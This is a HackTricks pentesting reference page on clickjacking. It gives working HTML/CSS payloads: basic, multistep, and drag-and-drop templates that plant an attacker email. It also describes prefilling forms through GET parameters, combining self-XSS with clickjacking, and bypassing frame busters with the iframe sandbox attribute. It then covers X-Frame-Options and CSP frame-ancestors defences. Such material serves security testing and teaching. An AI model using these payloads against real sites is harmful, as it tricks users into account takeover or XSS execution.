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hacktricks/pentesting-web/clickjacking.md
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# Clickjacking
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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</details>
{% hint style="danger" %}
<img src="../.gitbook/assets/image (307).png" alt="" data-size="original">
Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
{% embed url="https://securityhubs.io/" %}
{% endhint %}
## What is Clickjacking
Clickjacking is an attack that **tricks** a **user** into **clicking** a webpage **element** which is **invisible** or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online. (From [here](https://www.imperva.com/learn/application-security/clickjacking/)).
### Prepopulate forms trick
Sometimes is possible to **fill the value of fields of a form using GET parameters when loading a page**. An attacker may abuse this behaviours to fill a form with arbitrary data and send the clickjacking payload so the user press the button Submit.
### Populate form with Drag\&Drop
If you need the user to **fill a form** but you don't want to directly ask him to write some specific information (like your email or and specific password that you know), you can just ask him to **Drag\&Drop** something that will write your controlled data like in [**this example**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Basic Payload
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Multistep Payload
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Drag\&Drop + Click payload
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
If you have identified a **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.\
Example:\
_You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set this details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with GET parameters._\
\_\_An attacker could prepared a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submited** and the values are modified, the **user will execute the XSS**.
## How to avoid Clickjacking
### Client side defences
It's possible to execute scripts on the client side that perform some or all of the following behaviours to prevent Clickjacking:
* check and enforce that the current application window is the main or top window,
* make all frames visible,
* prevent clicking on invisible frames,
* intercept and flag potential clickjacking attacks to the user.
#### Bypass
As frame busters are JavaScript then the browser's security settings may prevent their operation or indeed the browser might not even support JavaScript. An effective attacker workaround against frame busters is to use the **HTML5 iframe `sandbox` attribute**. When this is set with the `allow-forms` or `allow-scripts` values and the `allow-top-navigation` value is omitted then the frame buster script can be neutralized as the iframe cannot check whether or not it is the top window:
```markup
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
Both the `allow-forms` and `allow-scripts` values permit the specified actions within the iframe but top-level navigation is disabled. This inhibits frame busting behaviours while allowing functionality within the targeted site.
Depending on the type of Clickjaking attack performed **you may also need to allow**: `allow-same-origin` and `allow-modals` or [even more](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). When preparing the attack just check the console of the browser, it may tell you which other behaviours you need to allow.
### X-Frame-Options
The **`X-Frame-Options` HTTP response header** can be used to indicate whether or not a browser should be **allowed** to render a page in a `<frame>` or `<iframe>`. Sites can use this to avoid Clickjacking attacks, by ensuring that **their content is not embedded into other sites**. Set the **`X-Frame-Options`** header for all responses containing HTML content. The possible values are:
* `X-Frame-Options: deny` which **prevents any domain from framing the content** _(Recommended value)_
* `X-Frame-Options: sameorigin` which only **allows the current site** to frame the content.
* `X-Frame-Options: allow-from https://trusted.com` which **permits the specified 'uri'** to frame this page.
* Check limitations below because **this will fail open if the browser does not support it**.
* Other browsers support the new **CSP frame-ancestors directive instead**. A few support both.
### Content Security Policy (CSP) frame-ancestors directive
The **recommended clickjacking protection** is to incorporate the **`frame-ancestors` directive** in the application's Content Security Policy.\
The **`frame-ancestors 'none'`** directive is similar in behaviour to the **X-Frame-Options `deny`** directive (_No-one can frame the page_).\
The **`frame-ancestors 'self'`** directive is broadly equivalent to the **X-Frame-Options `sameorigin`** directive (_only current site can frame it_).\
The **`frame-ancestors trusted.com`** directive is broadly equivalent to the **X-Frame-Options** `allow-from`directive (_only trusted site can frame it_).
The following CSP whitelists frames to the same domain only:
`Content-Security-Policy: frame-ancestors 'self';`
See the following documentation for further details and more complex examples:
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
### Limitations <a href="#limitations" id="limitations"></a>
* **Browser support:** CSP frame-ancestors is not supported by all the major browsers yet.
* **X-Frame-Options takes priority:** [Section "Relation to X-Frame-Options" of the CSP Spec](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) says: "_If a resource is delivered with an policy that includes a directive named frame-ancestors and whose disposition is "enforce", then the X-Frame-Options header MUST be ignored_", but Chrome 40 & Firefox 35 ignore the frame-ancestors directive and follow the X-Frame-Options header instead.
## References
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
{% hint style="danger" %}
<img src="../.gitbook/assets/image (307).png" alt="" data-size="original">
Through Security Skills as a Service, we help organizations to **defend against the Dark Hacking Arts**. Security Skills as a Service is an offensive cybersecurity consultancy model that combines an Intelligent Platform with the top-class, globally distributed, offensive security engineers, delivering **high-quality penetration testing results. Security Hubs** bring together offensive penetration testing tactics with human behavioral science, providing real-time insights into threat actors' tradecraft and a **complete assessment of any risks**.
{% embed url="https://securityhubs.io/" %}
{% endhint %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
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